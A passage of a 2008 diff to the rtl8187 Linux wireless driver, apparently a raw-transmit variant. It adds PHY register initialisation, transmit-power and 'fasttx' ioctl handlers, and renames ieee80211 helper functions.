write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +902,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +915,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.c 2008-02-15 00:40:10.000000000 +0100 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-22 07:43:30.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c 2008-02-15 00:37:05.000000000 +0100 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct 